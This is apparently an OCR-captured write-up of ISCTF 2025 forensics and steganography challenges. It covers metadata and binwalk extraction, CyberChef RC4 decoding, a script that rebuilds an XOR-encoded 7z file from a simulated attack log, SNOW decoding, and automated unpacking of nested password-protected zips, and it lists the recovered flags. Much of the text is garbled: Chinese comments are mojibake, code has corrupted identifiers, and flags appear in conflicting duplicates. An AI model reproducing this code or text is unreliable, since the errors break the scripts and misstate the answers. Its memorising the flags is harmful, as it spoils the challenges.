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D:\binwalk\binwalk-2.3.2>python -m binwalk -e E:\OCTF\ISCTFAEHEZE\EHEEZZE -jpg

DECIMAL HEXADECIMAL DESCRIPTION

JPEG image data, JFIF standard 1.01
TIFF image data, big—endian, offset of first image directory: 8
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/
$ exiftool E:/OCTF/ISCTF/E 44
ExifTool version Number
File Name
Directory :
warning : FileName encoding must be specified [x2]
Size : 286 kB
Modification Date/Time - 2025:09:11 20:00:48+08:00
Access Date/Time : 2025:12:01 19:06:59+08:00
Creation Date/Time : 2025:12:01 17:44:55+08:00
Permissions T -rwW-rw-rw-
Type : JPEG
Type Extension - Jpg
Type : image/jpeg
version : 1.01
Resolution Unit : inches
X Resolution 1 96
Y Resolution 1 96
Exif Byte order : B1g end1 n (Motorola, MM)
Artist : j i
XP Comment : https //www somdS com/
XP Author o G
P Padding : (Binary data 234 bytes use -b option to extra
ct)
About : uuid:fafs5bdd5-ba3d-11da-ad31-d33d75182f1b
Creator : 2
Image width
Image Height :
[Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components - 3
Y Cb cr sub sampling > vCbcr4:2:0 (2 2)
Image Size 1 1024x576
Megapixels : 0.590
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https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html

Text in Text Steganography Sample

Original Text: (length: 48) Steganography Text: (length: 304)

IREREEDX—F, BATZNFPEM, flaaR tBTRBFPEOLR, KFEFEQRMEMLTLI IREREEEDX—F, BAETRNFPEM, flaa2 tBTRFPEOLR, KFEFESRMEMLII

Hidden Text: [ Clear | (length: 32)
e o o] (et
5b298€6836902096€9316756d3b58ecd

Download Stego Text as File

https://330k.github.io/misc_tools/unicode_steganography.html
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https://330k.github.io/misc_tools/unicode_steganography.html
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‘ &5 documentxml

SLBrowser HTML Document

2 KB
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& fontTable.xml
&5 settings.xml

&5 styles.xml
e webSettings.xml

SLBrowser HTML Document

SLBrowser HTML Document

SLBrowser HTML Document

SLBrowser HTML Document

" wieastAsia="#fF" w:hAnsi="#Hfk" w:hint="eastAsia”/>

<w:isz wival="24"/>
</wirPr>
/w:pPr>
v <wir wirsidRPr="000055E9"
v <wirPr>

K wieastAsia="FM" wihAnsi="#1&" w:hint="eastAsia”/>

wieastAsia="#R{E" wihAnsi="#1E" w:hint="eastAsia”/>

</w:pPr>
v<wir wirsidRPr="000055E9"
v GwirPr>
<w:rFonts wiz
<w:ivanish/>

R wieastAsia="FM” wihAnsi="FIE" w:hint="eastAsia”/>

<wipy

</w:sectPr>
</w:body>
</w:document>
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Extract Preview

BLCVEKiA MjoKVz1I
b2VpaApI PW91VGdv
Cmw9cElo aGkKTDI11
YWVOYwpF PV1rckN1l

m.5... r7$rI#.H
.m..n6.. CTH
nF....m. $ I$m
FLIS.YS I%m.8. ..
§.H..G.r I.m..I..
v.k.5.J. R .I$.q

Tl w

4l

Bit Planes Order settings

Alpha [ |7 [Je [I5 []4 []3 [J2 []1 [Jo Extract By ® Row O Column
Red [ |7 []6 [15 []4 []3 []2 []1 [#lo Bit Order (O MSB First ® LSB First

Green [ |7 []e [I5 []4 [I3 []2 [I1 [«o
Bit Plane Order

Blue [17 []e [15 [1a [13 [l2 [11 o @® RGB O GRB
O RBG O BRG

Preview Settings O GBR O BGR
Include Hex Dump In Preview Ll

Preview H Save Text H Save Bin H Cancel |




[] Input + OS] B

bLCVGKiAMjoKVZlIb2VpaApIPN91VGdVme9cE1oaGkKTD11YWVOprFPVlrckNl

mec 64 = 1 T Raw Bytes €~ CRLF (dete
Output B I_D |
fifig2:
W=Hoeih
H=ouTgo
1=pMhhi
L=eaetc
E=YkrCe
WS 2:
W=Hoeih
H=o0uTgo
]=pMhhi
L=eaetc
E=YkrCe

HopeYouMakeTherightChoice
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$ binwalk -e E:/OCTF/ISCTF/[ Fil 4 V. (1% i3t/ Bl Fi] 4 MV (1 4% 356/ TiTan . png

WARNING: The Python LZMA module could not be found. It is *strongly* recommended
¢ that you install this module for binwalk to provide proper LzZMA identification
and extraction results.

SWARNING: The Python LzZMA module could not be found. It is *strongly* recommended
that you install this module for binwalk to provide proper LzZMA identification
and extraction results.

HEXADECIMAL DESCRIPTION

Z1ib compressed data, default compression
0x167 Z1ib compressed data, default compression

: Extractor.execute failed to run external extractor '7z e -y '%e

'7z e -y '%e'’ might not be installed correctly
0x147390 LZMA compressed data, properties: 0x5D, dictionar
size: -695271424 bytes, uncompressed size: 2887780370846948262 bytes

T T

WARNING: Extractor.execute failed to run external extractor '7z x -y '%e' -p

[Error 2] , "7z x -y '"%e' -p """ might not be installed correctly
4333569 0x422001 Zip archive data, encrypted at least v2.0 to extrd
, compressed size: 52, uncompressed size: 40, name: flag3.txt
14333751 0x4220B7 End of zip archive, footer Tlength: 22
Pl
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base64 @i & Bl & K A

Download CyberChef i Last build: 4 months ago - Version 10 is here! Read about the new features here Options Q About / Support 0
Operations Recipe ~0mu Input +Oe =
ABQAUAF ABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUA
Search... From Base64 ~ FABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAU
. AFABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQA
Favourites * :“’;ﬁb“ 6o - UAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAF ABQAUAFABQ
-Za-20-9+/= AUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF AB
To Base64 QAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAFA

BQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAF
ABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUA
FABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAU
AFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQA

Remove non-alphabet chars D Strict mode

From Base64

Jlolhiex Render Image ~
UAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQ
From Hex Input format AUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFAB
Raw QAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAFA
T e BQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF AH/ 2Q==@MzFFRT18Qj JER EWNEVFNJK10DIONTc SMTQWQURGH
ZkeNZ]CRUIZMZEZQBVXMTIBNjFBMkNDNDYwNTIZQjA2MThDNZkOQTkZNEFGRjNCOTBGNEUWMZVJ‘
From Hexdump mac 58004 T 2 Tr Raw Bytes ¢~ CRLF (detected
URL Decode Output - B0O@m:

Regular expression

Entropy

Fork

Magic

Data format

Encryption / Encoding

Public Key .
STEP Auto Bake
. Q© 15ms Bytes (detected) < LF

Arithmetic / Logic

HHERIAS B W {5
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X—EB iR 2 jpehs i base64, HEEUAR G 4k 4L % CyberChef

flag3.txt ARHRER txt X ARHRER - BIAS.axt ° +

File Edit View Hiv i=v B [ & & ]

3f5AMKCOk+AWLSCnptNQIDM#IH7FCRAACIRAXIRDIECRCYTLICAQNMATakOINCHAAAZah2all ICAORRRAAINV7aIOKRKON2HAAL kIVHFiRAAMR3AgLKOyE/JOCAAIGHAGLKIYt
VHivgNglEZhQQIDNuTUWEC # x a ¢ N T X TkPg8gYu3zr94cV/ws+
3kI2fMRuf1njbL9Z +tH9J4/6x TOFhAgz4R9nWABAgReCgi
Qlzx+SIAAAQLPBATIMxnfJOCgSkDdJgICpMmitEmAAIHRBATIaBVRDWECBJoICJAmi9rSpmcJECBWhYAAUUJZDQIECEwoIEAmMXKQRCBCoElirrgBZa9
+mJUCAWGECAUQwShcRIEBgLYHYAMn+e/70f9wqDQ7 +
63L5dZV2P2pnB/5xR+ev7PzZ81m77vWz/ZcHSHYASWKQIECgRKCA1LirSoAAgbEEdNQjQHagOUKAAAECt5sA8S4gQIAAgVOCAMQXMOME7gW8JrCegABZb+cmJkCAWCECAU
QQRpcQIEBgPYFRAMQ9eRMTIECguYAAab5A7RMgQKBKQIBUyatLYBQBfRDYKSBAdsISRoOAAgdUFBMjq7wDzEyBAYKeAANKJ9
+eYPXEgQGBNAQGy5t5NTYAAgbSAAEKTUOAAgSoBdWSsFBEitv+0ECBBoKyBA2q504wQIEKgVECCT/rXVVSAAgEBCQIAk8BWIQIDAYgICZOXtm50AgSqBKeoKkCnWaAgCBAhcL
yBArjdXkQABAIMICJAp1rjeECYmQKBeQIDU70AHBAgQaCkgQFquTdMECBCoEvhTVAD8sfANAgQIENggIEA2YHmMUAAECBP4ICJIA/Fv5E4A0BNQhMIyBApImIQQgQIHCtgAC5 1]
sTAgQITCPQLKCmKTcIAQIEmgv8HWAA//9jjfvgAAAABKIEQVQDADFS70XM4qe5AAAAAEIFTkSuQmCC+
6f5TejvAdEUgnhdYB1dC6jzp/nVP8WrfuXfnt92/zS/Cf3/AXQ+pnOAI8IDAAAAAEIFTkSUQmMCC#/9j/4AAQSKkZIRGABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQND
AsLDBkSEw8UHRofHhOaHBwgJC4nIClslxwcKDcpL DAXNDQOHyc5PTgyPC4zNDL/2wBDAQKICQWLDBgNDRgyIRwhMjlyMjlyMjlyMjlyMjlyMjlyMjly Mjly Mjly Mjly Mjly Mjly Mjly
MijlyMjlyMjlyMjL/wAARCABUBNIDAREAAhEBAXEB/8QAHWAAAQUBAQEBAQEAAAAAAAAAAAECAWQFBgcICQoL/8QAtRAAAGEDAWIEAWUFBAQAAAFIAQIDAAQRBRINMU
EGE1FhByJxFDKBkaEIIOKxwRVSOfAkM2JyggkKFhcYGRolJicoKSoONTY30ODk6QORFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXgDhIWGh4iJipKTWWISIZmaKjpKWmp6
ipgrkztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4 +TI5ufo6erx8vP09fb3
+Pn6/8QAHWEAAWEBAQEBAQEBAQAAAAAAAAECAWQFBgCICQoL/8QAtREAAgECBAQDBACFBAQAAQJ3AAECAXEEBSEXBhJBUQAhcRMiIMOoEIFEKRObHBCSMzUVAVYNLRCh
YKNOEI8RcYGRomlJygpKjU2Nzg50kNERUZHSEIKU1RVVIAYWVpjZGVmZ2hpanN0dXZ3eHI6goOEhYaHilmKkpOUIZaXmJmaoqOkpaangKmgsrOOtba3uLm6wsPExcbHyMnKOt
PU1dbX2Nna4uPk5ebn60nq8vP09fb3
+Pn6/90ADAMBAAIRAXEAPWD3mgAoAKACgA0AKACgA0AKACgAOAKACgA0AKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKA
CgAoAKACgA0AKACgA0AKACgAoAKACgAOAKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACGA
0AKACgAoAKACgAoAKACgAoAKACgAoAKACgA0AKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAK
ACgAoAKACgAoAKACgAOAKACgA0AKACgA0AKACgAOAKACgA0AKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgA0AKACY
AoAKACgA0oAKACgA0AKACgA0AKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOA
KACgAoAKACgA0AKACgA0AKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACGAOAKACgAOAKACgAOAKACgAOAKACgAOAKACGAOAKAC
gA0AKACgA0AKACgAOAKACgAOAKACgA0AKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAO
AKACgA0AKACgAoAKACgA0AKACgA0AKACgA0AKACgAOAKACgA0AKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKACgAOAKA
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Download CyberChet ¥
Operations

Search...

Favourites

To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

Regular expression
Entropy

Fork

Magic

Data format
Encryption / Encoding
Public Key

Arithmetic / Logic

Last build: 4 months ago - Version 10 is here! Read about the new features here

Recipe ~ams
From Base64 ~0n

* Alphabet .
A-Za-z0-9+/=

Remove non-alphabet chars D Strict mode

Render Image

Input format
Raw

Render Image

Input format
Raw

]

Froe SO OME IS GRAIME

TR RIS B SO A 2

0 ToolB

B> & > HEEXRONHENRDSE

HEE DN ENHDEE

Options EE  About / Support g
+0O3E =

FABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAFABQAU
AFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQA
UAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAFABQAUAFABQ
AUAFABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAFAB
QAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFA
BQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF
ABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUA
FABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAU
AFABQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQA
UAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAFABQAUAFABQ
AUAFABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF AB
QAUAF ABQAUAFABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAFA
BQAUAFABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF ABQAUAF ABQAUAF ABQAUAFABQAUAF
ABQAUAF ABQAUAFABQAUAFABQAUAFABQAUAF ABQAUAFABQAUAFABQAUAFAH/ 2Q==@MzF FRT1BQj JEREWNEVFNF k10D
TONTCSMTQWQURGMZKONZICRUTZMZE2Q@YXMT1BN FBMKNDNDYWNTIZQjA2MThDNZK@QTkZNEFGRINCOTBGNEUWMZ Y=

Input

Tr Reu Bytes < CRLF (detected)

a0®

mc 50565 = 1

)
a

Output /%

NEREZEENEAEERX BN EERNAERESEERRETAN

i LF (detected)

meo =1 © 1ms Tr Raw sytes

SCHIMAE B BSOS B SO AGE & [ H 1 AGE IR A IER A IEAGER

SCHREE B SIS B

BBNAY: BERIE

455 (Encode) fi#5(Decode)

XAREZEXHREBEXAREERXAREZEEHAZ AN EREAERHHAAEXAAEREXHNEEAXAREZEXHREEEXHARES
#

....Mamba....

fERTECT N, NIRKIE8f. (Man!

key:2000Mamba0824




AFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQ
AUAFABQAUAFABQAUAFABQAUAFAH/2Q==@MzFFRTIBQJJERJEWNEVFNjk1ODIONTc5MTQWQURGMzkONZzJCRUIzMZzE2QOYXMTIBNjFBMKNDNDYWNTIZQjA2MThDNzkO
QTkzNEFGRjNCOTBGNEUWMzY=

In2 Cal BNA4Y2 11 nf BR NNR rharartarc Dlain tavt 100% Windawe (CRIFY ITE-R

MzFFRTIBQjJERjEWNEVFNjk10DIONTc5MTQWQURGMzkONZz]CRUIZMzE2Q0YxMTIBN;FB
MKNDNDYwNTIzQjA2MThDNzkOQTkzNEFGRjNCOTBGNEUWMzY=

g — 1

Recipe ~ ol B Input + 028 =
MzFFRT1BQjJERFEWNEVFNjk10DIONTc5MTQWQURGMzk@NzICRUIZMZE2QOYXMT1BNjFBMKNDNDYWNTIZQjA2MThDNzke
From Base64 ~0n N
QTkzNEFGRNCOTBGNEUWMZYi=
Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars D Strict mode

From Hex ~0n

* Delimiter

Auto

RC4 ~Qmn

mc 116 = 1 {7} @—115 (115 selected) Tr Raw Bytes ¢ LF

Passphrase Input format

v ra
2000Mambaes24] UTF8 Latin1 Output B0®::

‘ISCTF{SQBCF439- E304-4E27-BE45-49CC7B0O2B3F3}
Output format

Latin1

mec 43 = 1 (@ sms  Tr Raw Bytes ¢ CR (detected)

ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}
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5.Abnormal log

TTOF A W 2 E N A

[INFO] Server started listening on port 8086

[INFO] Received a request from attacker IP 192.168.1.100

[INFO] Attacker attempting to upload malicious file...

[INFO] Attacker uploading segment 1...

[DEBUG] Random data injected: AgtACjmKmUOcEBNRRfNd

[INFO] File data segment: 327fb9aa22190501dfbf{187e8080505050505055f05050505050505342
[ERROR] Upload failure, retrying...

[INFO] Uploaded data: ypINwHwHVngWHfzohX4s

[DEBUG] Connection unstable, retrying upload...

[INFO] Uploading...

[WARNING] Unexpected system response, continuing...

[DEBUG] Attacker uploading segment 2...

[DEBUG] Random data injected: 2Nfl6ez3ibUdXXmkuceS

[INFO] File data segment: faf24908df5805419100c17f22f3f2eb8c8b55958db6afc9le2bceeld7eb
[ERROR] Upload failure, retrying...

[INFO] Uploaded data: 2gngD2UuRixfYTs4FNZW

[DEBUG] Connection unstable, retrying upload...

[INFO] Uploading...

[WARNING] Unexpected system response, continuing...

[ERROR] Attacker uploading segment 3...

[DEBUG] Random data injected: c8tulCJwA70UUNJIB9pgC

[INFO] File data segment: fdf@f96e05506c2b00c24dc4e66c48174ad858871b436c5addc2ceb6402e
[ERROR] Upload failure, retrying...

[INFO] Uploaded data: hjDNfIrno5T9FCG8Y8F4

[DEBUG] Connection unstable, retrying upload...

[INFO] Uploading...

[WARNING] Unexpected system response, continuing...

PN AT T

import re

def extract_flag(Q):
# 1. ERHEHRNE
try:

with open('access.log', 'r', encoding="utf-8') as f:
lines = f.readlines()
except FileNotFoundError:
print("iEM{f access.log XIFAEMETHFER")

return

# 2. WU A EdE
segments = {}

current_seg_id = None

# wHETHE


af://n125

for Tine in lines:
# UCECSr e, filtn: Attacker uploading segment 1...
seg_match = re.search(r'Attacker uploading segment (\d+)',
Tine)
if seg_match:
current_seg_id = int(seg_match.group(1l))

continue

# VLo K ¥diE, lln: File data segment: 327fb9...
# RAERVIN EAR B B S0 A SR s
data_match = re.search(r'File data segment: ([0-9a-fA-
F1+)', Tine)
if data_match and current_seg_id is not None:
segments[current_seg_id] = data_match.group(l)
# HE current_seg_id VP HESEMREN FEATHEIESIRAH, B
DIE B H 2 4)
current_seg_id = None

# 3. PHESHE
if not segments:
print (" RIKBUEM FBdE, ERd HE& ")

return

# KA KR S (HEHTUERIRKE 116)
max_seg = max(segments.keys())
print(f"JLHEH3 {Ten(segments)}/{max_seg} k. ")

full_hex = ""
for i in range(l, max_seg + 1):
if i in segments:
full_hex += segments[i]
else:
print(f"&%: #kn ) segment {i}")

# ¥ Hex ¥t~y Bytes
encrypted_bytes = bytes.fromhex(full_hex)

# PUTHEL (XOR 0x05) f#%

decrypted_bytes = bytearray()

for b in encrypted_bytes:
decrypted_bytes.append(b A 0x05)



# 4. PRAFCHF

# WPk 37 7A BC AF Hlrh 7z #ak

output_filename = "flag.7z"

with open(output_filename, 'wb') as f:
f.write(decrypted_bytes)

print(f"fE&sem! X trff N {output_filename}™)
print("EFEHESRM (G 7-zip) EIZCHEE flag. ")

if __name__ == '__main__"':

extract_flag(Q)

e AT T

flag{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnij}

ISCTF{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}

6.0

WRIEpy S, SEITbfE ik

import binascii
c = bytes.fromhex('53591611155a51405e")

b = b'blueshark'
a = bytes([xAy for x,y in zip(c,b)])
print(a)

BEHERIXAS, R HRITIT S48, ASSNOWER'S
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b'15ctf2025°

b'15ctf2025'

010FT H Bl v Kk Ijpg EE Ebniteds a1, A IE4aH, Aiddhbpkk
.b.7.(.NO.,.mfA.

.aT.06280«59Me . P.
LI E{.GO. . %i-* !
a6-y..-.I%A.n.j4
4vC.ED> f'#ADI. [0
,.+EC.U-"Uma]vd,
.. 8%w|}aeayi.¥. VI
m, ek YTo-.@baqt.
o e

h0%.90.5.p!5%0.K
$.:ZF. .4 «yTorlg
@n%u. JeAGS" . Vik -
[&-.1zZaE.<Sy.RNA
B3I%PK. ., . 2#...

HARHN, Wk



LS jpg ZERp.gif frame flag.7z m SNow.zip

50 03 04 00 09 63 00 49 9A 67 5B 2C 1A

B4 23 02 00 48 00 00 08 00 0B 00 66 6C -

61 2E 74 74 01 07 00 01 00 41 45 03 08 50 alilBa c
00 54 05 32 EB AB F6 39 4D 65 04 50 11 .0T.0280«&9Me.P.
18 9B 8C 09 47 8D 0D BA ED AC 2A 01 21 .J>E{.GO..°i-*.!
E1 B7 FD 03 AD 49 BE 41 A4 05 6A 34 3d0-y..-.I%A.n.j4
34 c7 17 DO 9B B9 23 D1 CF 07 5B D4 4vC.ED>f'#ADI. [0
82 B1 C9 19 55 94 DA A4 5D 56 64 84 ,.:EC.U-"U=a]vd,

90 17 E8 89 77 7C 7D E6 E5 FF ED 9D A5 OA 56 CC ..&%w|}@ayi.¥.Vi
6D 84 9C C6 20 9F 54 6F AC 09 D8 62 E5 71 86 1A m,®E YTo-.@baqt.
E9 91 27 CD 9A 26 D4 83 1B 25 E8 FD 22 87 2A E7 &' '1380f.%ey"f*c
AE 99 83 A3 43 DC DB 88 9C 2E 8B OF 8C 98 AF AD @®"f£CU0 e. .G -
96 2F B9 74 06 00 1E 18 29 70 CD AB 47 F2 9A F4 -/'t....)pI«Go%s
27 FF 97 4F D9 69 3B C8 C6 4F 24 EO0 67 8E 5A CA 'y—0Ui;EAO$agZzE
B6 62 1F 8A A5 2D 32 18 6D E1 4B 1B E4 04 11 60 9b.S¥-2.maK.5.."
8D 7B D5 OE 85 06 E6 BD 2E 1A 7B A4 39 2A FA 4D .{0....&%..{=9%0M
9E 57 25 88 0A E3 96 B9 C5 21 SE D9 9F 8A ZW%".3-'Al#%AUZS

[) s’ O 4

KR KETH, 455U HBENZESNOWKRE (E#E T Fflag txt RBLIEH — 2 B 5 1R
JE2 Jiorz

= a X

= flag3.txt ARFRFR. txt AMFR - BlIE e ® apngframel.txt frame_.005 frame_ flag.txt X aF

File Edit View HIv i=v B 7 & A &
SHAF+=R, RERH. AZE=H, MPASERS. BHEER, RE—MA, BEVPX, BEHLSEE, B, X5=SIL5K, EF—H. #E8F, HKERHE0

H=E, EEMAGENY, —EFREPER. IR, AEH: "HPEEEALA! " HRER. KRR=AAMm5, FAEEK, EeBA, Zit. RTHH, AFERE: =REs
H, EERAEAE!

AR —THE, FHbfH %Y

D:\snwdos32>SNOW.EXE —-p 15ctf2025 —-C "E:\OCTF\ISCTF\i{# L'Z=& £ \flag. txt"

ISCTF{yOU_Huv3_KNOwn_Whut_15_Snow!!!}

ISCTF{yOU_H4v3 kNOwn Wh4t_15_SnOw!!!}
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2WgjC2gD7HLo86YRWhKEaC3ZXw8T98Mz

rec 32

1

Output

ISCTF{HOw_834u71ful! !}

ISCTF{HOw 834u71ful!ll}

RN AV

PN IASEI 3T
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# extract_udl.py
#python extract_udl.py

from pathlib import Path

import re

def main(Q):
here = Path(__file__).resolve().parent
dat = here / "ChsPinyinuDL.dat"

out = here / "out.txt"

if not dat.exists():
# RN BIEANE], i — IR SRR ILAD
cands = list(here.glob("*Pinyin*ubL*.dat")) +
Tist(here.glob("*.dat"))
raise FileNotFoundError(
U HAH %42 {dat.name}. \n"
fU"HAHZ: {here}\n"
" Y Pargescft: {[c.name for c in cands]}"

b = dat.read_bytes()

# 2% UTF-16LE f#hD (fdk$ts upL Hifd)

s = b.decode("utf-161e", errors="1ignore")

# HHIDCEZE) o/ R e/ E NS B

pat = re.compile(r'[\u4e00-\u9fffa-za-z0-9_{}. , ! 2 . ; : \-\s]
{2,

hits = [m.group(0).strip() for m in pat.finditer(s)]

# EE (R
seen = set()
cleaned = []
for t in hits:
if not t:
continue
if t not in seen:
seen.add(t)
cleaned.append(t)

out.write_text("\n".join(cleaned), encoding="utf-8")



print(f"[oK] i#Zi: {dat}")
print(f"[oKk] fti: {out} (Gt {len(cleaned)} %1 BO™)

if __name__ == "__main__":

main()
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BRI 7

B THREZ FerRiRSS REGIE HhiEahS IANEEZ

BIRRRIFFRAR! —EREAKRET!

B TFRRFlag: ISCTREEFINEREA—EFCTFEEA}

ISCTF{FRE A /N & 2H —3E 1 CTF K EA}

9./NiE & KT JEFLAG

AT LA $ T T A4 4 0 S R AR SR

taskl.zip shark.zip out.png c.png flagggg999.zip x

55 9A 60 C3 32 34 23 WU3 " A24 ! #bap+0Kx
07 12 FO 21 23 66 68 1. .3 #fyhUp=giH.
DE 80 BB CE 3B 45 4B .P€»1; ETKS..a9 . kx
41 85 88 00 B4 ED BE hA..". ix%. . THaa
87 9C 5E 90 B3 75 80 et 2u.€mxp.iT e
4B 01 02 14 00 14 01 7

33 AD 98 69 B2 03 02

00 00 00 00 00 00 B6

67 67 67 67 39 39 2E

00 41 45 03 08 00 4B

01 00 47 00 00 00 B2 ...G...

70 61 73 73 77 6F 64 password is Oeb
64 33 39 38 36 65 36 9d3986e56473c
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PN A R

SEVEN_Z = r"D:/7zip/7z.exe"
import re, struct, subprocess
from pathlib import Path

SIG_EOCD = b"PK\x05\x06"

def find_eocd(data: bytes) -> 1int:
start = max(0, Ten(data) - (OXFFFF + 22))
idx = data.rfind(SIG_EOCD, start)
if idx < O:
raise valueerror("EOCD not found")

return idx

def get_password(zip_path: Path) -> str:

data = zip_path.read_bytes()

eocd = find_eocd(data)

cmt_len = struct.unpack_from("<H", data, eocd + 20)[0]

cmt = data[eocd + 22 : eocd + 22 + cmt_len].decode("utf-8",
errors="1ignore")

m = re.search(r"password\s+is\s+([0-9a-fA-F]+)", cmt, re.I)

if not m:

raise valuekError(f"Password not found in comment: {cmt!r}")

return m.group(l)

def run_7z_extract(zip_file: Path, password: str, out_dir: Path):

out_dir = Path(out_dir)
out_dir.mkdir(parents=True, exist_ok=True)

cmd = [str(SEVEN_Z), "x", str(zip_file), f"-p{password}", f"-
ofstr(out_dir)}", "-y"]
print("RUN:", cmd) # Ji{@Efik

r = subprocess.run(cmd, capture_output=True, text=True)
if r.returncode != 0:
raise RuntimeError(f"7z failed on
{zip_file}\nsTDOUT:\n{r.stdout}\nSTDERR:\n{r.stderr}")
def main(Q):
work = Path(".")
start = work / "attachment.zip"



if not start.exists():
raise FileNotFoundError("#4%| attachment.zip")

cur start

out work / "out"

out.mkdir(exist_ok=True)

# J:48 attachment.zip fi#HIk
subprocess.run([SEVEN_z, "x", str(cur), f"-o{out}", "-y"],

check=True)

# 3| 999
candidates = sorted(out.glob("*.zip"))
if not candidates:
raise RuntimeError("attachment.zip fEHKEAZzIp? ")
# PR E9991)
cur = next((p for p in candidates if "999" in p.name),
candidates[0])

for i in range(5000):
pw = get_password(cur)
print(f"[{i}] {cur.name} -> {pw}")
# fERIFE— out Hxx, AWEBENT —Z
run_7z_extract(cur, pw, out)
# WEH zip (BFEGLE next)
zips = sorted(out.glob("*.zip"))
# LU F N EERR
cur_num = re.search(r"(\d+)", cur.stem)
if cur_num:
n = int(cur_num.group(1l)) - 1
nxt = out / f"flagggg{n}.zip"
if nxt.exists(Q):
cur = nxt
continue
# YUR: & out HBHUNIAIEITH zip
cur = max(zips, key=lambda p: p.stat().st_mtime)

if __name__ == "__main__":

main()



BEETHE R T, HWERFEEANF

R4ERE: ValueError x
